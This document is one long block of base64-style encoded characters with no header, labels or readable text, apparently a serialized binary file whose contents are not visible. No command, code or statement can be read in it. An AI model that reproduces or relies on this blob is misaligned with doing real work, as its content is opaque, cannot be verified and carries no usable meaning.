heJrKZDIBmOWafVyn6T92NzUzESKFvbK7U21tuNkejS9y32AkPBC11uAPvGXQluHjxUp3XRfvouTm8u4eyQxC92S6/j5aA01SZjfrBXuo8hD+aSSdMc/OYDvUJXdcKIvLV51sg2Bjq44kAhDkWH3hMNWbek6XDnyOv5Csujd1rt1NtV92K7sV1egKB3WBJnbDpEwRfJRYcTLVAYW05slwtlkeagt0pdb+zXaxTEb6TYRu9F6rsMBU3WPTafSPODCkETWKdtNtw0rEA5kpcn0nQilZmc53szMB3ek6YjeXmM/X+ibxcICydc3M07iFIOQBiUd0VsyuZs4i4ukbHFPzMAACAASURBVKrp9Yt7u6/nQTEb43mva5xLiamMSFVNvCxPpPnAfDyKBheRnY5rX+970EMa7Y6Yh4BrnDUIxh2+roROoW1nFdjhPqORbgqdBoAs26woAnY+vcPyJL/g0UiVhbaef7EG4mAL2lwqs1C/qgAAprdpaCwSLC2KVcO0x4XQWU4h271JGXukJZ2fatyKCtl5DsRzAg/qUBv83OBklkhd6l2Tq7Lo/E1dz3Lf8PWCJY1rfK/SBbQVQzHe/gsakq8XNQHu9G1TjPLpHd0y3SxqqYlyeCAdHrDgSHtXTLe1PehEmupoAqGm1MIKc9hdjSbmHv1uBGpP/L6ECF3+2TYfdA+GpWePyVMb91L1Ug/qm/dBt4oiflA44z7fEdigdTpKx/q169eR1KaUpKELGup8LXwVkt07qSs3eHjx3X3jwhwYuI/jzXvAw6HecHEq9HVTiCXavSvUzq2xjbedFMk54OBXPCU8iYNkyfUCBXpJjPnMUbThdMD3FQuPMm9h9p+CQ9S7EFI8Hp7Uo0rO8FD5N6yFB1gUG+6E0EkbZzKNmsQ7zZEMtsnTNboJi00W71LvDWPhMYgaBXTvtOuzLL7uoiiTcKqKVpAY4gIdoKIKBLLyRtfx9MC0TEwPC/XLSvv0hem3X2FNaOj0eITaqJed/vMzh2kCVz95/t9+x4d/+7e0v37H9PV7fK/svtO+3Fh/tzM9PLB888Ttd3/m06dnOCWu+TPl4Ylvvvl38Fypzyvb+SfK4yNsO/XHn7BvtEHY6SCPy/mBbbtiKVPSzCNCU6/lRRuLT1KXl4JZrBt3snUV/s2hqjDtfbuPKZL5iCbG2o12aRI13MV2W4yM90A54qZlkeKVIR9oiO1M8xHc6b7Dvt/9071W6q5gDJsmoEpRm1VsiioyUbdV4/5JHLyUM9mcvBShTK2Ti4QVijuOjeUNLnkZEtQkNY69S1Awn070ulGWE63vojW4NrG+K4XKdyE+bd/x2uT+kidSNqbDI/v1LKRx28QvLpM28JRjKxFPzVslTTLoZ6Ai2ejNQkSi97gsmdT1TqVonr1VIZs9DqohnKKQLMVQaIFYN2Yd80QumVYTbV2DR7jIteFw0PPe/X5wiVYV+xdOIihI0xxjzCRxXC/k+UHFrmucRhJ1BFTAyjO1U9cLGY08Uxb67HQoC2WJgsiVanO7XJiPKkrMXukX9kbrZPw8R44Nw4pwID4kjUtLEf9OkwI9gzwtOJk0Pej36zUKvkiLKwc1ER7OGHEoO0RikMARD6tBJ4SQZey/YY+Y6n3yNVKBhpe21gPRDKLvN4S34bGpdcH93bcykciUw5H1ctX5dxdjhbONb9GUSag1JoN3UCNsoSwQTjd9dyPp/3+hgejh94sZyQ1Lyx2VLIGSdn8GNB3Ny4OK3bYKjasrZlV2RPfieKHdntXcvxHPfdwfYr/VcMMD3woRoRfxZuseNo6L7o//AvFOCWMGHEPiLyGt0QmlaFxyOPIMr1R7fX7kgqddLiuGmutJSH93WVRaB6YD1m4kCzplCONKWWhhyTmd3tNuF6GkSU1a6k4i0SK0IvkAHsSFt6yAEXOEnE7x3LsDCppw0xRFLhaB/kfdZb0F3dC5RzTnCe9O652cSzReVXTdHDGrKalj3Bs2qzkZTkcq7E+0dh4vBXTDswV4+etI6q9bUJnGGZZeH8TggZr563jcB+Q7DOTjh/oweA0OjMVNxGi+wfArDPYOLg9CersXmRbdhNTTuwj+WNiGCDG16YjnsFvowx9uHD5S4dI73UdEWRKJ2lGHZSoNx+jGzO6cVbP0WkT8wnNtkPfpGq+lGOtIuAT3aDUbXDgR7ylOW0Uyl09YGOFqNqyRXzYYKBFOmSbxOy2Rcph+p0xPDW+xyVoKzpQ2lxQ8o7e6bIyR1x2fYf6LD/TLysO7Rzwb66dnDn/5ke2HF/hZySV5MtL7j9TWuf799/DdE+t5w88rh+8+4rVTX57hofByPnN4mDE74OvG4fgtp/d/zfbTC/O7JzqwLAv7j8+kh4nTb76lJae/XPDeWPcLNi345TlGHBPH9BUPtwv7vNPTFhO9Qiq7uldzKSm3UOt6CNIsjIxdPsJ4jzEQehYlSbTRQwTYebVAsUgFc+7FUDkcAwU1UlbjlKeD7KrcAyGY7p1r96ZUryKzcyvR9KSiInA/Y4fH17rTEK2FU1BBKmZL2F6p8cvT21hQea3Kij+ecK/01ijLA96cfb3pq64X3BN122M0pH0oTxODS1bXlakkPB/pTTZz88MT+XDi9uP3tH34/IHXjXQ4cee8EwKcrZLmMcZP0Zfqfcw53t3gg4m+0TS+NwKN0CGhiYaQ6n4fz6kgUB+qvc89cqot0VunzIEitxpWPkVoRh5m4ypQ74EoNQz7TW4l0/ERS6/cQKeT6hJuCeBto26dcnh4RdsCsU/ziTk1Lps8Ouu2MR/eM80Htr7h+xUOB/Gj2y3uzUJbX95knegKjmHvIaCyELiOs6jS9u3+fJI7fX2GrkanWwio7hOrSBDru0CWlDFbFDHcdmzSftvvz1RRp961N1hoKu50NK/6jFT053BHVi0QKhuJVEEbktXRED5B8k5vOjvEDd8phwc52KQkukuvWndhwF5vX+J8g6HtMFeilgWtxTtR4AtR7a0zLfKFJkS6CWJMXnkVgcXZ42DlyHRwfS8kitIeJOoEbaf1lezoPiEeYot79E+Ncf+5rt42zIXkjiTKvt+gVpXvMek1Im8+AAhFz+s+mqXwuUZTh5TDq9yj0bR43ovuUSoKzuidIcLzNKznnDTPUczLWJ9tJ8U53cLbOZdCR8IiJVpm/PJMwenzkfnDb9hffsZvFzHIfMfPm+oo5LObYtI20O4cgJ1+qYh2D+DNyhQ0JtN0ehTXARJaNlgeVPsQdEd9kNZqLtzWNXjU8Tk5AYoWp8zRKCeJ7nOme4/15KKtxCRZKXozfXC2f+X6deGUecC5LTgIGl+mlOnWsGYiv06TRt6RF+xtV0QYKsS8N9q23ZWqWMHSUE563IQenUygpzZ4o34n2aYyhfXFQJ7yvWBoddWGXcJcdr3GhjE4hAbU+yjfqDHaEPFYo8AtDpV+L+9UtJYYwYvzIXuH8VLrZfS7d9/gpvVQvang0OhMhvx9mtXZhyUVI/WjamOS4boFCh1K7iJFXI9ux+vOXS3n4gAbAau3/hqP+kbXvl7Yv79yW97x4S++xSaj5COkxPnvv6c02M8/ko4Hpm8/YlPm+oc/8PBX/4Z8+pbbHz/Ta6eUwqW90P/8CY6F5W9/w+O/+47v/+d/z+3pwJwLh//mL2nZefnhZ9I8s//pmfzXj+TlwL6t1J+esccH/KuF4u/wvnHsB9oh0393lliIQuqZQ3rHcnnhOgVnKyd83YCKHSQAM3d832gpYYEyyKiu/+IZakJgKQrXVu6HG6ZulpR0iERzpSZPCKg4X422ruI65sx2fQZL5OVAWeb7mNrmWY1PSpTDib5dcTaW5YCXBXdZlaWlhNI5keoKfdPGnQtsZ6bTV0pIGcrLN7jatlLmo5wJvCiv3hJTmbn88AesLEqeShPLw3vonRpCozLLNaMCHhur9h0FBAw6UlnmiIHsYbm10/ZbNBIjIGREolY8E4iZDiylxYk6gK0a07uMgu7pdNbujbmFt/IoAlN4HeNdkwTGeF97S14m0gT3CVFXETqUvwPNU8+rwtZJyAPH6XvHUov41COkSftVh5QNswN9E2pf95Xt5ZOKkkBFokNUYzxN1CZP1l5XpocPrCTaCDSYFnp9predWgM9eqNLBuQ6ohqDBZh02GNwp22pYK3XT2pK6HTfJcS2fJ8+6SzbAvlWbOl9wpVnTUuyuJeWYySKxtyWi/5eJwSWp0jDipGnb696jQHkpMzQDDCmZ97uiNzgKliK0W8UTGlaWB7fq8jY1+B+RnDAEDzd44DHWSVRmaWss2oUy9liPzEVc1nn+HAh0GdtWBL/1knSXXR9ot3fi+AtBjo/3CbSfWwrGs0QuLVe4368wTpJE8PuEnoUqNKcWIRgpJxkrVQVfuBb03sTvru6l8RneFArNHW5e7AXIfRGFLXaidQkI2DLJ7nBeKv3SWdv2y9Q23ADaJU2rOg6pGUhtUpdTqSSKQl8W0nlQGsv0j8ESu9FFD8LgCTlo5qRJD/15IWUU0zWA2BJWVZrVcWm9x4hBL8A9YLOEDCsajCcHtO7VGasNlGaUPE+HFD0HOQ96+0M+UGpxCnR6jUAFyTg3CvMJ6zuwinTf8m43zXOpzeyR1JDiEZSvMC40+pOLou6WWLxe5zPjorMQB8gekgflfiszRwPa4Jdh38o79WkyePxztm6iwti7G/j58bN9fHy57BuqHrJAwVj8EGCN5Smo1BOCskm2r4RESTxQkeiFfqZY0OxONRyjEzijqvzGlYXOd83H7D7GL5vN6GdEQ6QPOO26b5gd/QFiHttWhR1FN4w+K5BKdLft9fNrr1RJwtCWfbrjd5u+Pcv8OGR6XHh8vMXytcnDnakfn6h1qru0oRCpAOkmthevpA5kP/mW06nzPbDZ9bnL0yfTlz/nx/IH09wW+mtUP985jY37JDI26zoyz9eufkLHBfSNxl/vuCfupbDdmP57mvWT19Yjk+sbfDIjDk9smxH1q3Qyo22NrIfYrTa6cWg7qSGIm/nkzpZN8XYuWgmlgJhr4GWbptoKS5LIMLexGPc3Vq702J6V9ywY+TlkRZ+h6UstHrVWD4cJ9KkpCU3raWchR4YRt02FVHTQeO6iPYTchK2R4P3PBCEMtG2M6m9Tc523a6c8m+orlztnAvr5UwefrEpLNvqGs4cOmBri7EdnX3dWE4nqCv7vlKyPA+16TjlcGCvTRs3KOEtl/vv3QfSRadVj/ub7pMKT0nvURWHPMWzIYWtUHgn9laFDqQcn8HrfQWp/NvID+f+LO6esLG3JpPtHO7QZBWVEgIJ7vyvEGWNTXBw/ON5jv3Sgro0nR5pm97/Gmh5epClmRB9HcLT8sDExH57Zt8uXF8K03ykr2e2603ygCi4c/KgmbzN5TlGkSBxYw6OoyPaVQh2xT9+wayFYMQCLNnw5qQQkFig6Crqx8E6QVkYh7WlYeMnzungrdK3MHnv+s+tRtEhxF3hMp2RTuh0FZh5xnyTfdVd2KTi4Jc0GzkaRZRunjU+jT3fyFGoZmB/Hdv3HfODzrNeX4tiHOhs2xqIaafVXWtxOpJKpkXhwUhqCr4yER6TUvhup0Rru6g5wTsdFD69qJG+hn62RJ5+P4/e4pI5faJ7FQoYgtZ7KEeaIxikh94lXC6Q4A3nFwW1mgyPaUQi9os8M8z+R5KXR3GfLN6pZPo5OdFXTYnYhUpSL1oXFg1D1/5k3bS/+Dm82Rvp4VvyXKg/f5J2JfigKSgJKkjlqEBWvO99IpvDXnMW/9N+wTnGG75t+HTEgjbkrWFUvGnNUGYVv1G0u8XU2huerhxPD2ry6aqThig8NRX2uOwBS9HvRw9gr+D7Tnv5ImEvuseWf7Ge/pHr15FUTAosjNaldM5jfOCusZTIPdR+VTHlPcaPRNeYsXIgKRvuzjO6e7wZofZ3SJlcZnoPxONOLUhYoBGQImdZwinglRsaozOP8YejcU3Kg8/j8UJ7oLbBB2yiERDcDu/qQG0OtCEOOP1MkbQZvNbeIn0KoTemn5VSjIvi9HKIrrPfX4BeNyy/vih2Hx0RL1qgsWWKXN+MosxGlxz3H4Inos9JaaK19U3H/VtJnL77C77++lsuv/sjpXlEd8L+84Xpw8Q2J3IOpLw3yrt3rD88M50eyWT8duH2+5+YPz5RDzOHpxOXv/s98z9oFL18/RXJJvaj4z9vtM87fa/kpxMpH6n/8D12jki4j09KFLptZA5cfv8HHTYG8+Mj++fP+OEBauWUPrCez3yef8avlfkdTMuTEoXKLvI6Lt5W2P6YZcgOt5Xkhi/yysyhnBzCwravMoY2w/Mc3CDUTUdOPQ6tN/ky9ka/XWnTElnuUnVOZSItB3pv1OuFtCzkw0kHbPjUeRRhaVq0QZr4pnk+BB9vJaVMW1eNpNqr+GJMGP6lr1o3tvVCmgtpmqhbuIBYIpdJLgjDymm7UebHEDAOvl9jLlId+16ZZr0v3vbgWU54c8rpAd9ugYTpZ5Gz6GcxYvLhz+dFDWkZNA6nRqMr0cUu5KxHiEga3s5V6UKDP472Mhz56pqPYYuQb4c0C6VzJ0y6Kx3DXCJVCASxAbQQruRQ51ag474FT57gIgfNqdY7Lx7UANgkJX+aD7ilEFxKgNOas+/aP+u2k8xYrxfmh0XoknemeaFvwcGfeDOrMt0ISGO0GZOrlF45LJZnCUj2sxICy6zQDcKpg1B4TxYpOrKBs6Cp3VX501HoWnf6dsa7y9YtT4iCEdS2KEYkZn0V4OR50WQQpXjdvXKHsnkANe4Rm2ykXuMM4XUqZ8MP1gJdcoaDASMQYDIsn0me6ftVIrKBbqIGSI2UokvP5xdOs9aHCHArbgt5iCZbk81i2FkBd45jVFVYU1Ge8iSf4TSaBdf3QvSVHraIegejYHyDy0fz0QUoCPgNH2KL7+mIPpP1nkkj19QYRywuprw7r1VJTym8aqcjouuMM5ugFTo5Cc9SulsSDT0oAHQ9izutr4/9+YBziOmbQ1/1rOsN31fq80RPhpUD7XKmuCk+dV8pizxKJehrsT7jLJkPcgTJodi38SwVe+uuxDFmFak2mmPdRYmwaoWSRTWMZhxz8nSQ20QSKtZBiH2IFSUmi9bvsKhpqBthFR73xCnHdxCTbisLXsK/9VeuXy1ScwmuQkp3/60+xhi40J8QKZmBZ428X5Of9MtrQ5HoSC+dOs3eRxEavKu60i1GZZb1AtZNHKKAsgNiuBedPl7oe9cdHZMZKcaxzAtse3xObPYtRnWBOHnXn1WTGW/fLVSexMg/aSwC0WWblLZF5rdtX+PXbQy7CgJV9jT8HesdWhfK63fDclEbYhwUHUzCsCV8CncR5uV0oFFcmXXodpe6u1nE0MZ/f6vED4Cfzl+w40I3px+M1lVMz8cjzWD9fFZRPcvovH/6ArtjXz2x/viFaXnP9O3C8x+/5/KnlYevvqIVFaa+btTamK+NWjtpA+bE/PTA+ucX2vdnaoHpqw/YqeB//wVuO37bKH/9gf5yJXMktcTl8pNQxpzY65UC5Jo4pnf8sGV6/8x0OIUgbcH3XalPo1vfG+RETgWvnbZdKXmBWrRfZALpD46gqYP0VDTeGHnbOoGjGABCkZtygk2IpyeNqIYwqpQc/pWZfdvw+UhKWTzKPKOO/aaNIwkB6+1GC7GQ4TBlUQTigE15puvYfpN1UuaFjjLv83yIAqzgvt8FGZDJ80zdVzAdjGk3NZ2zASvJszbaEdTRdqm/zeg0Unc8OONWJjWfZqRigTAn6GG3k8UpxMN708Im0ezOlxJnrWtrCd/iHiIUcVxDCEOgnk0Ip9fgwqWMe1J6T+9CapPB3tUQW6yBMoQEXZGOrZKXEoIYaPUWaK0QVYtCyyNMxdsejbZ4dG4wlUDQ942eJu2plqn7zu0Gdb+yHLT25uVA32pEoObXKVKRrV9Kb7NOdM8HEuS8PogcCM2rbykmm7FX/mkPYY+QyoFQkpLScqajGpTwQB02O2bQLd7jiLhOpuKT+NfuQsOwChTMFPBgYT24nj+T88R8+qBn1JsQuF9OxvCYDGoPyKQYK8ea6Z177GtOmIvm5XRSlkVbp+k71lU2VXeVvwdwBMtBxu3r9TO+D7sui8HmEBuFRVqZuHMYHYWYxHTQ0hz7hUS+tD0KVBjIvAaaQi2Nhvv1tQn8l14nOjDlFx7FpgClogJo3QQslBLFYhSvqeiMdRWs5AAjUhFVKhmWF5SPKkrgCBjyvgus22/Ypt9fE3O5efTtgq8rnpOKvzQmIAnyTE4TzTper6p9trMcX7JBjQTPuQkVva3kLJeKPM+EMgy8hNezkSZ5mIpPmxSjmoJmFvzhlBN+PMgX1YRAJ59evZXHmjOPBEM1xcZwsUFUslajzsnYfMSakabxnqT7+pB7TYko3ha0gUUThlHLbci27FeuXx/3R0E3Rl337hQY6v7hO2fIeNxdgphB5h3q1PuCDvXqsOUghwq2bcAgtndxvoYYyGL0kZOSd3qj9xAxIfWiY/c0GQjrj9Eb1p2o/fW9S4z+TGRz73E4Tflu1zC4tATPZfze3R3bg1CcjN71UJt3+fkFqjK6/x68tN7XO49HBu0bFhuruysNCLTpIjUwZvFCRIxZjBnif8iIVHTvNDTu6YPHSiA1b3T9cdo5nV/4/KcfeHx4kPLdGu6ZWjLHxyO3l2daFTqfvnuPf7rBPLH96c+01vHjA49/+RsuP37m/Ic/k6fM/M172jJxyoX5/YHbjzdyctrPn6nvTpRvH9l//yP+pbKnnYkj9u6IHQv2+cb+9z+z7mcO7z+y324sh0fsurNboe5f4PED/dMXHk4f+U3/jj+ni2L0+hD76Zkpplcdty0z1g1qp10v7H5hfv8NJUjk3ptMnh0iS1XvT930vjQhseYp0K85QiH0UttylPdeE0pmgM0Lt/MLeZ5Yb9rYyuldNI1yoUi4ojLzRGsbZTqSpyOtRWSkJVLfNe4hiaLjCtPw/W0OlLrv5G0jTwfx1EmvZtV3SkLXuMihtl0jr2mm3sbmlyOcoDFZwrIxzhiNxY39+lnes8sJp9EtEr8C3dIeUoPPVgJdGzxXQ3Z44fCQpG6WM0FHue1ShNManuQuIJ9T6HsLalKUNz48Mi3EGACDh6r9RY8+06uKBzP9e4r9bnDhc04CYIJKct9/xxmImuZ6a+QSo+IAC9qgE/SKm6ZA03xU4d7RodtdjcsmJa5jsF5JIXZQ1OjbXB5Itnr+ELEG53+UyoPnNyhcKc8EGS7AFDVBvVes96B/3fT3ZbkXuoaLt5wm3BSrC69pg7grsWvQyFISkh6NhKVCThMpF+peSftOyfleJDh2L2b7ftXeEmil141QsUTTuGnNWI8Rar7X6L2uymef5JPc6w1rK2l5f0e5CNshS4XizvPlxqHM1Jvso4pBKjPtelZ7Nc/49UVuE/MJRcoGXxJ9pIc/ZpoO+PYcxfcU57VDD7Cqj+mBSbz4FuukO+711cM8REEE8jnOfoXmODYSyAY62ipWRMcavruj4QWjry9SzFsIs+qu4rfuopO1Hgi6KCJuPe6PKBnbly8sH7+CPCZaaCK6v9BvXxhcdQtwzfew0Osdmx7x6aDvg+JqjRBnBmUtlQwlkeZZPto5PJHHSD3xSjss0gIl0M8yi3pE74Bb6F0iHETWWknJjt5oNd6+jpKnhjNTb2psSCSPUJFwI3IS1JsocimpOS+z/nOtuKd/5Mnq+tW/TaWE0lSwdGsDCRSi2nun1Ua73fQCh7jKu8i23nqModud8G2Bfmo3dzwUi+L25VGuB2d00wIMf9LBfxhxpsSBPz6bpogtC/Vi4Ozxf/G6DRRidIlWsGnWWC14f+Ssriu+O6PTAu7RsHdRlw6unMTPASG7HujYoARYoMgqKtIdmbHwXOzbKg6uTmsh16DP7/X+og27jR7jhuE1qXMolIalkFKijXHTG1z/y/f/J59fPnH9/Gempwfmh5nmjXq+YZcGc4LTQj/fsNrY/+ET+bjQCthp5rJ/5nf//n8FOnvdWf7Ntxw+vmP99Ex2p/7wiesfPjHPhenhAW5O++HKfruSDkeWv/mK+ekBbp12vrL98ZMM180oNbP/8Ik0F5bDE9O3X/H4/luODx/wkiiHI33deMq/4eP0HSXPmFvE+hk0If13B4t9o60XWl3xbcVezrRtv1uhycSz371VE0aqUmf3bdOGj9+R+ta2WJtxVpVJQpXbs+ywSkQithXfd8o0MRdxoQe3UlLVLl9W7+L9lJmGuuI8iWqQlGcoLlOCtl3Dtu3tGhp9R2g1qDk53EPyRC4RVjAdMDNKCdP1rvvS9np3AEllZt931ssZdxVhNk+U45F0eAp0TF6GeA9j7NhnUtLBk2MqJLNnPV+zEF6gIkObEmZOKolcxAFMmArFJuRjRD1rlKiJh4obcUvlraq+NxVx6Hpdo4mJPWX8PEv3aZSiKXl910c8Zhyw3lrst4qCbq2SlyWEHimmjMH7twiPyIrH9F65nM/kDNPhSJkglddmujftX9pLoih+o0tII/fnY3momAeu6RrVBoJqudybNgncQhgyEMooqKy3+POmM8Yd8kEitAACaiee2/56DgywhAQ2keZZoRu49nlvLMcPLMd3otAEyjWQOhsi3u16BxdsBM+YClgsaGwupLR3p9XwpGw1zNbjLHCntfAAbRtg4paGertdP+PbhYUb55dn1lWRlW3b2C9fuJ0vbJcL7XahrdoHRJdTA9bbTu/h8RzTn1QmIh1eZ633sIx0BDJpH+ktULW3uGpTHTDWphGNR6yNXEjLouK56x315kLzXAVfcrAurvgdwY/328rQjoT3aLgD4CFO4obNnd5u9NsL/fpCXy8amZtx+Opb0nxgzP6td7oZbbuInaMNIzjXKrjpiimWReFBiKRD33ZNZEDnR04wTdhUsGKKgJ2CKhLiacsZpgWbjtyjgOuqvee+Lw78K+5LrbKTClqhlSkS2Co+Gm2DPoTyFkXteN9Spu/r6/vVEYCYwgVgXgSCxr7/a9evc1KjUu/eldoQeeD3kflAKu/WSxaHz04uWRtzthjRBwo4KncxeIQm7RFr2vNdJe+9RlNojPhAoRibOJl5ipeZ2ET8XkxDoIhJKR0jSo+hxCRGLxa2DdMDoLHK2PzEr/UoSPsrGhKFD7/gNZkZuYRzQRTCKRd1HLFQJK6IUSPKik85ssXbTqublHPTjA0Z2C9I2rhrbLwLJu9jyBgcSE0rnZSUXEOI297q+v31hf9kf+KbfGDdV3wVBfGiAgAAIABJREFUel4eZ+rnM3tvzO9OpK+O1JcVmwrlwwPtspI+vOM3//U3HP/DE+tPz+w//EiaF9rTwuHrbzm+O/Hl5SpE+mXl+nLBvn7AasOeK+15g23XyOowk2dlIm/f/4RhzF89sX95ob9c2esVOx7lOVob2/NPgbRslPzAY/2W5/Y93hxzrT03h5Geez+QqviVF/GEcsr3+24eYQtjJOby5E0duuWwfpmCleKK9CNGVVH8lOVEzorEHBMLqbkLacrcXq73ScJIKarbWYV528ndyIdMK1J+twod8az0lXZqLZTDI32rbzaaw1Vw5DJhVthvq1CMPNH8wkhdaa0pKQpIVmh7knAgmmU5HayBKHXMujxNc8FbpxwfNRL1XWLFPNP2Sj4cpNbtFiP68TonHT73e0pMQ37R5IZamPhzD6IEbaNXcQbVGAf/cNd0Iw0T6xj/mgmlHybyaV5iTQ1Vv0HdtDbuDaiKgoEiemtBR2jgWUV8ksLbu0dEM1gx2nomLwel1vQw4HLY141yPKhImScq8tbtVYEGw0NT49MeIRP2n3+u/wJXSsbdwSTEHRbnUY73QsKfcKhAe2ZrndQrfb+E2CQAhmhWnCQD9BjBj+fjSa4LHsBGq1XgA8Zd5JYnvF5hTPHSHGBMw7xEcRHPPyZxHU0P0xQe4CFApje88AskPHjXIPGUqhIVrGYqdHoUA23TKWFG90yKwJsxnrYoem+ffsJbpXilIooaQL1e2a4bRoN6pTw80feKtUZaTjq3e4SEJO1P7krNs6SkLvIhbCChm0OX88UAqv4p1fY/1+Xh/kFqeIh6etj3qWkcGph4DXvUCgTi2OIvigRJw+WDiNEdE1oBZZsKu8ydwiiLLiGqEK48GXyLKZc38BAytS7h1HZTg7Pv0VjFL2PDu5aYXAh8SMTPSzmSOzv5sFCePmhPKpk0j2CksPscPRXhMewqvjXpC6As1P+91ahnYgzfunqM+qp3kJDdKaWT5jkQ+x7JVNOdYoSJitXrJT5fXUBbz6RZlCbr0K4XIffp18vQX/dJjS5JZvt2h6R710jMLNECGcQsYiJD/d5kxwMjW7bILDbLqqrjJE93bzeCjG39dYSlQpGIA42RWPCshjeZkhP8bnGgDmhwNgI5CaGTaoA9NiUP9EOjca+bfMdSjk5rv4/n4w2Imz2sRKJwjaK9d3WVhmJeh/fivbjd9+gc0r04FkIa78csmyqLY5I27Kiiu2rBdY20CIkREzbFeKMHDys6dI2P36iTBebDB/5ojX2e8F15vGbw+O1HXjZne7lSLivpqwU/JpbTE2lKXH98gSmx/d0P5OWA14wtmfbDT/TbI/4tlFNh/vqJtje8ZtK2Y1tlX4ypLNh5p73cKEui3c7keYI5Ud490M8bfttYPn6k1hX/3Jjeveey/5FiJ3rbqNsqoRSFU/mG/bZyWb9gU6cnIZYag0ZUXIoOdyos3/yW5/OFE4Niqs0hbZ2eapDjVVzRRKZnHobR/tpdpsK6bsxLUVfsMX60HGsSvEyk4yPtJrFZEmNf66wqFjLPEpm19cyWJ2yaGRnman0aVo54Dfs3Kzj7a6rKv/SVRkHuStwJdCKXTA3akEUxmqZF04d9v4+NLGdS26nRra+bxCfmW/Dmw8nADI4PtNuLCjevWHJouxrXlCGp6BnCi7GfWiAgyUwc5BSlgw1+pGFWcGp4L4dBT5d/srtEpinQ0d7GXrBHkaoiUwLInb6edRAMNWx4H1sudEyeuCSoJvqVc2+6cadeXsjHR6FcQV0CBROkNPjUaLy979qDXXvi9eULh6OQu7Y1lIo4CyXyneX0yNZkQu5D4PpGl7dKSh5CuibxzxAS9TDGx8jTKQq5pAlrW+n7lT4S2YYv6phWtLBdynMUAo75jtmE+yaeaJxpKlBdP3tfJRgnUCHLQuhiamhd1JQhnpTH7Gux5Ln9YgrYkGe4aCZ9oL1YnHPRTLpix2WveMT3VypbaypM0/wIWeN/ieikv+h1ZToc6PuFtt6YjgcpwbsQ+/V6o5ROZ6KnK9PRYLuxu7GnxLzMTAnSaACikrIR6d0bljO9ZFJrcgKy8AUlgf0Tuux/rms0a70qLpqYPujElwn+8Gv3GsXUq1OEDWtMD6u3XoNjGc3pvcZxFeMxzYh2Fs96z1JvtPVGqxtunVSiIKTTbzd6UhIWYXLPaDrd+f94e7MmSZIsO++7qmqLu8eSmbV0T083Z0hwhgKIAC/kj+cv4BNFKBQSEAgIkOgR9FJbLhHh7mamGx/ONY8ihVP9wJmwlq6ursqMdDdTU7333LOENDiAJZvPmISO1tohuahtvRLHo/6+VwerGiFozeECqWD7dMqtNdnX3awBdl68+NX9UXywNxg7dXP3Xi/ZI8E7WLgloXWfRuyT6Z43bJLGoIe9sQU8XrelDNsKPdOrKJrm/P//X+p+CyLBtpaJe7HpCny9CFK7mqmA7T7Cb81TcXYle3XyvRdnnSgRSUxENwoWUSNCXfWgujo5mcwOEilpmdEp9B69MF1vHVsPUQo3ixp/5NWhaS1Y2y0kukQ96jRMlIO6QRH/QhFwI9YLtYgHF26/9xVLMC9o6c25SxoDSAjVFOHqhaUEVOE28tlfrv2gkYWJ3ZDhm4m5BefAFOfXdHdDeN1Ab2OOrmJ2L8T/0sP/p7x+93hHfNogGdeXZ+J05HR/z/b5BZsi03ggbxv84YXw1YzdGduXK8OvH+keKxmumXg68P43/y0pdNatk2theXpm/U9/ZPrN18x/8xXtI6y//55UThQy01/dUb9s9BSwPtBLpXy6MLx/IL4fKR+/0F+ulJAZ7x8oeePud79jfXoGoH36AQgMNhIITPWedblQxk0cnrajeOhw7F2Kf4vEKfE4TvRgrJdnpvTgYxsXKOwUlSren6bqgw8p7DbmDSEx7ojOzWKtO4rqU4eYqMsz3QJpmoV0BNFfWnGbG8SJrmlS41RlEk551kbjSGRMh9cCt2cdzm9x+brWeF4ChloytS5gsJ7Pbk7v3b2Z94mNECNhFIqThkgjeoKMURuUUhh2AaUFuYpMjXx9UkEQB7+flcDgYzxzrqFGVbhIUgdQRAk/neIHBy05aidPwRCjW9llbAhSXffoBvyBEBxRa9qHQkjqdYdIrEZvK+V6Js0zIQ3y8N09l30ahVN/LAanW6pJ6nUDn1yFVmXv1oMXRRL+9JBUjHVXX9dCK40eJkgH+rIKDx4SbXmBflBhmGby+RPr+dn5eE0evbxdLGorqwvJEKhA9X0yuhBtF+FqgqRRbSQMAxVkTZZm2F68yI7e5Ls62kfYCk0xettec+dbxpr5yFQgjc65TLWovT1qXyhmBOQKw97AmvAFM6euudahBQhdf35wmovOP0dQfepGQ1ND3weCc2BxcZSs2SY/fjYvQnTutbxQ1rPU/2kmRGNIRsA9zmulVBgGreNaE32tWFgJY+TaTxy/+YZ1vUBrjBGtW48vT/M95fqJGFwA5vzC4IEWofm+trsA/DNfZoiQHky6gRTpNWiG79PEZrg41AurvSj1Zte8eSFuPllzWuHoQqlS2KPISeH1DN5rAHztzYlYNrfQq6/1R2jEKrej3fTfokSMtk9hu3y0Y4qQ5CYSovzhKfqcvbllXmhyI4kevSzDaVEj46t3sxqiAjULIQ5JNm1Vv77VRVSxNKm5jdGFTS60HZOqRE8n661CdPpLWbF4uAGHtKImwJL2zSARLNaJ44FeXEfkdnvt5mT0y43vXzDzd+Vja/Rl9QPbZV5ubmy+6QNalMEIPbi1hRNmbXDRj4+ni3NbaZStEndlZkjiUe2Gu333/Cz0BtX9BbHo3oLiTLS2q/69ywsaozfnbMad/9obu3hBL7rfo9Zd6ONUBHPuEN07jCTicm8a5wSAQf8s8Op5hndZ0dOBer2hGt00PlYSDl68/gxZ7f3WHcm+TZm4HfHZqC7ocuZD84I0BnMLnEherzde7S4seavrv//d33H64xPVgKGTxsRWMu1lATpjGOgPiVoS0QKBTrTAl+9+4vTrrxiPM21KMHTCkFi+/4HcEnw7c3j3wPqHz5Q/feJ8zfTHI9Nff01ZCv3HZ6x1YuuU1GkD2P3M8JTIP3zExpE0H7FDZNoq5fmZ/OUFamV7+swwzNj9B7bzi09pC6OdmM/3nA+f/N57oRkCPVRH0CWkqsi8PcRAGhS4UDFiStiN91Sgx1ebk97oIWio1BvUQl07Nig3OziPqvcs/pzbM+2KfIbRTcfBqy6JQnahYW+kYXKLmY0eTOOXLv/AVyFjVyFLp5S3ETmENN029hATtXd6Xml1k/l187G402zqVsS9MrWnaRyo10awRqndHdiCbFNCVGTqttB6Jw4j4/Geul1USPpkRnY8xXnfyQsA59LtHogNPwCSTNurjKepUbZfZj6i1wB+n7xYGPT8aLeBTlk38T2niZ63WwqjpaSYZ+eT9rrStkV+leGgpshccBMjcRiobaR7EkzHRZ1F9kn7JNOC9uzgoRCdSF2vEim7ADYkI00z23WjYwzjkVI2ynJhCI/6o5OszNr2QnJ/1JLfjpO6o+iyFBTqHaxT2x7n6Kp9F4JpqFu9UBkJDb0PwR1gdgcVFCfaiTeaS0jOGXQcTpSrfWS/nxTd93/x+roF